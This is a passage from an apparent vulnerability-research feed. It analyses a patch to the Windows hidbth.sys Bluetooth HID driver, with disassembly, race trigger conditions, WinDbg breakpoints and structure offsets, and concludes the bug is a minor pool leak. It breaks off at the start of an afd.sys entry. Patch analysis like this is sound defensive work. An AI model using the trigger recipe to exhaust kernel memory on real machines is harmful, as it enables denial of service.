&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C00020CD&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;dec&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;dword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rdi&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;20&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="c1"&gt;; list count--&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C00020D0&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;xchg&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rdx&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;68&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;               &lt;/span&gt;&lt;span class="c1"&gt;; clear IRP.CancelRoutine, read old value&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C00020D4&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C00020D7&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;jz&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="no"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;loc_1C00020E4&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="c1"&gt;; old==NULL → cancel path already owns it&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C00020D9&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rdx&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;90&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rbx&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C00020E0&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;bl&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="w"&gt;                        &lt;/span&gt;&lt;span class="c1"&gt;; old!=NULL → we reclaimed it → return TRUE&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C00020E2&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;jmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;loc_1C000208F&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C00020E4&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="w"&gt;                 &lt;/span&gt;&lt;span class="c1"&gt;; reinit entry; bl stays 0 → return FALSE&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;code&gt;TRUE&lt;/code&gt; (al=1) means the driver cleared the cancel routine first and now owns the IRP; &lt;code&gt;FALSE&lt;/code&gt; (al=0) means the IRP was not in the list, or the I/O manager already cleared the cancel routine and the cancel path (&lt;code&gt;HidBthIrpCancelRoutine (sub_1C0001FC0)&lt;/code&gt; → &lt;code&gt;IrpList_HandleCancel (sub_1C000B034)&lt;/code&gt;) owns and will complete it. For this list the completion callback is NULL (&lt;code&gt;IrpList_InitEx(..., HidBthIrpCancelRoutine, 0)&lt;/code&gt;), so &lt;code&gt;IrpList_HandleCancel&lt;/code&gt; completes the IRP itself with &lt;code&gt;STATUS_CANCELLED&lt;/code&gt; via &lt;code&gt;IofCompleteRequest&lt;/code&gt;. This is why the unpatched &lt;code&gt;STATUS_PENDING&lt;/code&gt; return prevents a second completion — and why the leak, not corruption, is the actual consequence.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;5. Trigger Conditions&lt;/h2&gt;
&lt;p&gt;To fire the override, all of the following must coincide:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Reach the pend/reconnect path.&lt;/strong&gt; An &lt;code&gt;IOCTL_HID_READ_REPORT&lt;/code&gt; (&lt;code&gt;0xB000B&lt;/code&gt;) request must be dispatched through &lt;code&gt;HidBthIoctl (sub_1C0005670)&lt;/code&gt; → &lt;code&gt;HidBthReadReport (sub_1C0005F70)&lt;/code&gt; → &lt;code&gt;HidBthSendIrp (sub_1C0005AA8)&lt;/code&gt; with the connection &lt;strong&gt;not&lt;/strong&gt; in the forwarding state (&lt;code&gt;[rdi+0x4] != 2&lt;/code&gt;), so the IRP is enqueued rather than sent straight down. The IOCTL code read at &lt;code&gt;0x1c0005b26&lt;/code&gt; gates the &lt;code&gt;0xB000B&lt;/code&gt; &lt;code&gt;cmpxchg&lt;/code&gt; branch that leads into the reconnect call.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;State matches the reconnect branch.&lt;/strong&gt; At &lt;code&gt;0x1c0005ba6&lt;/code&gt;, &lt;code&gt;ctx[0x5a6] == 0&lt;/code&gt;; for &lt;code&gt;0xB000B&lt;/code&gt; the code executes &lt;code&gt;lock cmpxchg [rsi+0x5f4], 0&lt;/code&gt; (&lt;code&gt;0x1c0005bba&lt;/code&gt;) and falls through to &lt;code&gt;HidBthConnectToDevice (sub_1C0003AEC)&lt;/code&gt; only if the cmpxchg succeeds.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;HidBthConnectToDevice (sub_1C0003AEC)&lt;/code&gt; must FAIL.&lt;/strong&gt; It fails when &lt;code&gt;IoAllocateWorkItem&lt;/code&gt; returns NULL (returning &lt;code&gt;STATUS_INSUFFICIENT_RESOURCES&lt;/code&gt;, &lt;code&gt;0xC000009A&lt;/code&gt;) or when &lt;code&gt;IoAcquireRemoveLockEx&lt;/code&gt; fails (device removing).&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;The IRP must not be reclaimable by &lt;code&gt;HidBthDequeueIrp (sub_1C0002018)&lt;/code&gt;.&lt;/strong&gt; This is the race. The IRP was enqueued and its cancel routine armed at &lt;code&gt;0x1c0005b6f&lt;/code&gt;. Between that and the &lt;code&gt;HidBthDequeueIrp&lt;/code&gt; call at &lt;code&gt;0x1c0005bd9&lt;/code&gt;, the I/O manager must have selected the IRP's cancel routine (via a &lt;code&gt;CancelIoEx&lt;/code&gt; on the HID read), so &lt;code&gt;HidBthDequeueIrp&lt;/code&gt; returns &lt;code&gt;FALSE&lt;/code&gt;.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Practical amplifiers: sustained HID read requests that are immediately cancelled, combined with non-paged-pool pressure to make &lt;code&gt;IoAllocateWorkItem&lt;/code&gt; fail. Because these are internal HID minidriver IRPs and the failure requires resource exhaustion, an attacker cannot deterministically hit the window.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Observable effect.&lt;/strong&gt; With pool tracking (e.g. &lt;code&gt;!poolused&lt;/code&gt; / &lt;code&gt;!poolfind HidB&lt;/code&gt;), repeated triggering shows a growing count of unfreed &lt;code&gt;'HidB'&lt;/code&gt; allocations and a monotonically rising pending-request counter (&lt;code&gt;ctx+0x30&lt;/code&gt;). There is no crash from this path itself; the failure mode is gradual non-paged-pool exhaustion.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;6. Impact&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Type&lt;/th&gt;
&lt;th&gt;Description&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Primary&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Leak of the &lt;code&gt;'HidB'&lt;/code&gt; read-report data buffer &lt;code&gt;P&lt;/code&gt; (tag &lt;code&gt;0x42646948&lt;/code&gt;, &lt;code&gt;NonPagedPoolNx&lt;/code&gt;, size = report length + 1) and the associated report object, per triggering event.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Secondary&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Leak of one unit of the pending-request counter (&lt;code&gt;ctx+0x30&lt;/code&gt;); the count is never decremented for the leaked request.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Aggregate&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Potential local denial of service through non-paged-pool exhaustion under sustained triggering.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;There is no memory-corruption primitive. The IRP is completed exactly once by the cancel path; the unpatched &lt;code&gt;STATUS_PENDING&lt;/code&gt; return specifically prevents the caller from completing or freeing it a second time. No use-after-free, double-free, or double-completion is reachable through this override, so it yields no control-flow-hijack or privilege-escalation primitive.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;7. Debugger Notes&lt;/h2&gt;
&lt;p&gt;For a KD/WinDbg session attached to &lt;code&gt;hidbth_unpatched.sys&lt;/code&gt; (substitute the loaded base for &lt;code&gt;hidbth&lt;/code&gt;; the offsets below are RVAs relative to base &lt;code&gt;0x1C0000000&lt;/code&gt;).&lt;/p&gt;
&lt;h3&gt;Key breakpoints&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;bp hidbth+0x5AA8   ; HidBthSendIrp prologue. rcx=ctx, rdx=list/state, r8=IRP.
bp hidbth+0x5B26   ; after &amp;#39;mov r12d,[rax+0x18]&amp;#39; — r12d = IoControlCode (expect 0xB000B).
bp hidbth+0x5BC5   ; reconnect call site. rsi=ctx; verify byte [rsi+0x5a6]==0.
bp hidbth+0x5BCF   ; &amp;#39;test eax,eax&amp;#39; on HidBthConnectToDevice&amp;#39;s return.
                   ;   eax&amp;lt;0 (e.g. 0xC000009A) → the reconnect-failure path is entered.
bp hidbth+0x5BDE   ; &amp;#39;test al,al&amp;#39; after HidBthDequeueIrp.
                   ;   al==0 → override fires: cmovz sets ebp=0x103 at +0x5BE7.
bp hidbth+0x60E9   ; in HidBthReadReport, just after the call to HidBthSendIrp.
                   ;   eax=returned NTSTATUS; if 0x103 with a failed reconnect ⇒ override took effect.
bp hidbth+0x60FF   ; &amp;#39;jns&amp;#39; guarding the release path. Taken (skipped release) when status&amp;gt;=0.
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3&gt;What to inspect&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;BP&lt;/th&gt;
&lt;th&gt;Register / memory&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;+0x5B26&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;r12d&lt;/code&gt; should be &lt;code&gt;0xB000B&lt;/code&gt; (&lt;code&gt;IOCTL_HID_READ_REPORT&lt;/code&gt;).&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;+0x5BC5&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;byte [rsi+0x5A6]&lt;/code&gt; must be &lt;code&gt;0&lt;/code&gt;.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;+0x5BDE&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;al&lt;/code&gt; after &lt;code&gt;HidBthDequeueIrp&lt;/code&gt;. &lt;code&gt;al==0&lt;/code&gt; ⇒ the override is about to run; single-step and watch &lt;code&gt;ebp&lt;/code&gt; become &lt;code&gt;0x103&lt;/code&gt;.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;+0x60E9&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;eax&lt;/code&gt; from &lt;code&gt;HidBthSendIrp&lt;/code&gt;. &lt;code&gt;0x103&lt;/code&gt; here with a negative &lt;code&gt;HidBthConnectToDevice&lt;/code&gt; return ⇒ the request will be treated as pending and its buffers not released.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;+0x60FF&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;With the override, &lt;code&gt;ebx=0x103&lt;/code&gt; so the &lt;code&gt;jns&lt;/code&gt; is taken and the release at &lt;code&gt;0x1c0006101&lt;/code&gt;/&lt;code&gt;0x1c0006114&lt;/code&gt; is skipped ⇒ &lt;code&gt;P&lt;/code&gt; and &lt;code&gt;reportObj&lt;/code&gt; leaked.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;Key instruction offsets&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;RVA&lt;/th&gt;
&lt;th&gt;What it is&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;0x5B26&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Load of the IOCTL code (&lt;code&gt;r12d = [irp_stack+0x18]&lt;/code&gt;).&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;0x5B6F&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;call IrpList_EnqueueLocked&lt;/code&gt; — add IRP to pending list, arm cancel routine.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;0x5BC8&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;call HidBthConnectToDevice&lt;/code&gt; — queue reconnect work item; must fail to reach the override.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;0x5BD9&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;call HidBthDequeueIrp&lt;/code&gt; — try to reclaim the IRP.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;0x5BDE&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;test al, al&lt;/code&gt; — the predicate the patch removes.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;0x5BE7&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;cmovz ebp, eax&lt;/code&gt; (eax=0x103) — the removed override.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;0x5C44&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;mov eax, ebp&lt;/code&gt; — return-value load.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;0x60FF&lt;/code&gt; (&lt;code&gt;HidBthReadReport&lt;/code&gt;)&lt;/td&gt;
&lt;td&gt;&lt;code&gt;jns&lt;/code&gt; that skips &lt;code&gt;ExFreePool(P)&lt;/code&gt; and the report-object free when status &lt;code&gt;&amp;gt;= 0&lt;/code&gt;.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;In the &lt;strong&gt;patched&lt;/strong&gt; binary, &lt;code&gt;0x5BDE&lt;/code&gt; is &lt;code&gt;jmp 0x5C33&lt;/code&gt; — there is no &lt;code&gt;cmovz&lt;/code&gt;, and the error status is carried in &lt;code&gt;ebp&lt;/code&gt; from &lt;code&gt;mov ebp, eax&lt;/code&gt; at &lt;code&gt;0x5BCD&lt;/code&gt;.&lt;/p&gt;
&lt;h3&gt;Reaching the path&lt;/h3&gt;
&lt;p&gt;These are internal HID minidriver requests (&lt;code&gt;IOCTL_HID_READ_REPORT&lt;/code&gt;), issued to &lt;code&gt;hidbth.sys&lt;/code&gt; by the HID class driver on behalf of a paired Bluetooth HID device. To exercise the path: pair a Bluetooth HID device, drive HID reads, and cancel them (&lt;code&gt;CancelIoEx&lt;/code&gt;) while the connection is transitioning (not in the forwarding state), under non-paged-pool pressure so &lt;code&gt;IoAllocateWorkItem&lt;/code&gt; fails. The combination is racy and cannot be triggered deterministically.&lt;/p&gt;
&lt;h3&gt;Structure / offset cheat sheet&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Object + offset&lt;/th&gt;
&lt;th&gt;Meaning&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;ctx + 0x030&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Pending-request counter (interlocked).&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;ctx + 0x050&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Device-object pointer.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;ctx + 0x5A6&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Connection-state flag — must be &lt;code&gt;0&lt;/code&gt; for the reconnect branch at &lt;code&gt;0x1c0005ba6&lt;/code&gt;.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;ctx + 0x5A7&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Secondary flag — used by the alternate branch at &lt;code&gt;0x1c0005bf5&lt;/code&gt;.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;ctx + 0x5F4&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Interlocked guard used by &lt;code&gt;lock cmpxchg&lt;/code&gt; at &lt;code&gt;0x1c0005bba&lt;/code&gt;.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;ctx + 0x5FC&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;State flag checked at &lt;code&gt;0x1c0005c18&lt;/code&gt;.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;IRP + 0x68&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;CancelRoutine&lt;/code&gt; — armed by &lt;code&gt;IrpList_EnqueueLocked&lt;/code&gt;, cleared/tested by &lt;code&gt;HidBthDequeueIrp&lt;/code&gt;.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;IRP + 0xB8&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;Tail.Overlay.CurrentStackLocation&lt;/code&gt; (read at &lt;code&gt;0x1c0005b1f&lt;/code&gt;).&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;IRP_stack + 0x18&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;IoControlCode&lt;/code&gt; (&lt;code&gt;0xB000B&lt;/code&gt; = &lt;code&gt;IOCTL_HID_READ_REPORT&lt;/code&gt;).&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Pool tag&lt;/td&gt;
&lt;td&gt;&lt;code&gt;0x42646948&lt;/code&gt; (&lt;code&gt;'HidB'&lt;/code&gt;), set at &lt;code&gt;0x1c0006004&lt;/code&gt;; buffer &lt;code&gt;P&lt;/code&gt; allocated at &lt;code&gt;0x1c0006013&lt;/code&gt;.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr&gt;
&lt;h2&gt;8. Changed Functions — Full Triage&lt;/h2&gt;
&lt;p&gt;Only one function differs in code between the two binaries.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Function&lt;/th&gt;
&lt;th style="text-align: right;"&gt;Similarity&lt;/th&gt;
&lt;th&gt;Change type&lt;/th&gt;
&lt;th&gt;Note&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;HidBthSendIrp (sub_1C0005AA8)&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: right;"&gt;0.989&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;Security-relevant (minor)&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Removed the &lt;code&gt;STATUS_PENDING&lt;/code&gt; override on the reconnect-failure path. The &lt;code&gt;test al,al / mov eax,0x103 / cmovz ebp,eax&lt;/code&gt; sequence collapses to a single &lt;code&gt;jmp&lt;/code&gt;, and the error status is carried in &lt;code&gt;ebp&lt;/code&gt; directly (&lt;code&gt;mov ebp, eax&lt;/code&gt; at &lt;code&gt;0x1c0005bcd&lt;/code&gt;, replacing &lt;code&gt;mov ebx, eax&lt;/code&gt;).&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;code&gt;HidBthReadReport (sub_1C0005F70)&lt;/code&gt;, &lt;code&gt;HidBthIoctl (sub_1C0005670)&lt;/code&gt;, and &lt;code&gt;HidBthReadCompletion (sub_1C0005DA0)&lt;/code&gt; are functionally identical between the builds; their only textual difference is a WPP trace-GUID symbol rename (&lt;code&gt;WPP_80bb…&lt;/code&gt; → &lt;code&gt;WPP_440d…&lt;/code&gt;), which is a tracing-metadata artifact, not a code change. &lt;code&gt;HidBthDequeueIrp (sub_1C0002018)&lt;/code&gt;, &lt;code&gt;HidBthIrpCancelRoutine (sub_1C0001FC0)&lt;/code&gt;, &lt;code&gt;IrpList_HandleCancel (sub_1C000B034)&lt;/code&gt;, and &lt;code&gt;HidBthConnectToDevice (sub_1C0003AEC)&lt;/code&gt; are byte-identical. The remaining binary difference is layout/offset shift caused by the one edit.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;9. Unmatched Functions&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;Removed (unpatched → patched):  none
Added    (patched → unpatched): none
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;No sanitizer, validator, or mitigation function was added or removed. The entire behavioral delta is inside &lt;code&gt;HidBthSendIrp&lt;/code&gt;.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;10. Confidence &amp;amp; Caveats&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Confidence: High for the mechanical change; the security impact is a minor resource leak.&lt;/strong&gt; The patch removes an unambiguous &lt;code&gt;cmovz ebp, 0x103&lt;/code&gt; override on the reconnect-failure path, and the caller-side effect (&lt;code&gt;&amp;gt;= 0&lt;/code&gt; ⇒ skip the release path) is directly present in the identical &lt;code&gt;HidBthReadReport (sub_1C0005F70)&lt;/code&gt; at &lt;code&gt;0x1c00060ed&lt;/code&gt; / &lt;code&gt;0x1c00060ff&lt;/code&gt; / &lt;code&gt;0x1c0006101&lt;/code&gt; / &lt;code&gt;0x1c0006114&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Points confirmed against both builds:&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;The diff.&lt;/strong&gt; Unpatched overrides the reconnect-failure return to &lt;code&gt;STATUS_PENDING&lt;/code&gt; when &lt;code&gt;HidBthDequeueIrp&lt;/code&gt; returns &lt;code&gt;FALSE&lt;/code&gt; (&lt;code&gt;0x1c0005bde&lt;/code&gt;–&lt;code&gt;0x1c0005be7&lt;/code&gt;); patched propagates the real error (bare &lt;code&gt;jmp&lt;/code&gt; at &lt;code&gt;0x1c0005bde&lt;/code&gt;). Direction confirmed.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Caller release semantics.&lt;/strong&gt; &lt;code&gt;HidBthReadReport&lt;/code&gt; frees &lt;code&gt;reportObj&lt;/code&gt; (&lt;code&gt;[rdi+0xE70]&lt;/code&gt; via &lt;code&gt;__guard_dispatch_icall_fptr&lt;/code&gt;, &lt;code&gt;0x1c0006101&lt;/code&gt;) and &lt;code&gt;ExFreePool(P)&lt;/code&gt; (&lt;code&gt;0x1c0006114&lt;/code&gt;), and decrements the pending-request count, only on a negative return. Confirmed; the function is identical in both builds.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Cancel-ownership handshake.&lt;/strong&gt; &lt;code&gt;HidBthDequeueIrp (sub_1C0002018)&lt;/code&gt; &lt;code&gt;FALSE&lt;/code&gt; means the cancel path owns the IRP; &lt;code&gt;IrpList_HandleCancel (sub_1C000B034)&lt;/code&gt; completes it once with &lt;code&gt;STATUS_CANCELLED&lt;/code&gt; (the list's completion callback is NULL). Confirmed; both functions identical in both builds.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;HidBthConnectToDevice (sub_1C0003AEC)&lt;/code&gt; failure mode.&lt;/strong&gt; Returns &lt;code&gt;0xC000009A&lt;/code&gt; when &lt;code&gt;IoAllocateWorkItem&lt;/code&gt; returns NULL, or the negative &lt;code&gt;IoAcquireRemoveLockEx&lt;/code&gt; status. Confirmed; function identical in both builds.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;No corruption primitive.&lt;/strong&gt; The IRP is completed exactly once by the cancel path; the caller neither completes nor frees the request allocations on the unpatched override, so nothing is freed twice or used after free. The consequence is a leak of &lt;code&gt;P&lt;/code&gt;, &lt;code&gt;reportObj&lt;/code&gt;, and one pending-count unit.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;Reachability.&lt;/strong&gt; The override fires only when the non-forwarding reconnect branch, a &lt;code&gt;HidBthConnectToDevice&lt;/code&gt; failure (resource exhaustion / device removing), and a precisely-timed cancel of the same internal HID read IRP coincide. This is not attacker-deterministic; the realistic worst case is gradual non-paged-pool exhaustion (local DoS).&lt;/p&gt;</content><category term="Corpus"/></entry><entry><title>afd.sys — Feature-gated state guard blocks queuing accept/receive IRPs onto a cancelled AFD SAN endpoint (CWE-416) fixed</title><link href="https://byteray-ai.github.io/drift-corpus/item/afd_1c51991a-afd-report-20260626-131300.html" rel="alternate"/><published>2026-06-26T00:00:00-07:00</published><updated>2026-06-26T00:00:00-07:00</updated><author><name>Argus</name></author><id>tag:byteray-ai.github.io,2026-06-26:/drift-corpus/item/afd_1c51991a-afd-report-20260626-131300.html</id><summary type="html">&lt;p&gt;KB5078885&lt;/p&gt;</summary><content type="html">&lt;hr&gt;
&lt;h2&gt;1. Overview&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Field&lt;/th&gt;
&lt;th&gt;Value&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Unpatched binary&lt;/td&gt;
&lt;td&gt;&lt;code&gt;afd_unpatched.sys&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Patched binary&lt;/td&gt;
&lt;td&gt;&lt;code&gt;afd_patched.sys&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Overall similarity&lt;/td&gt;
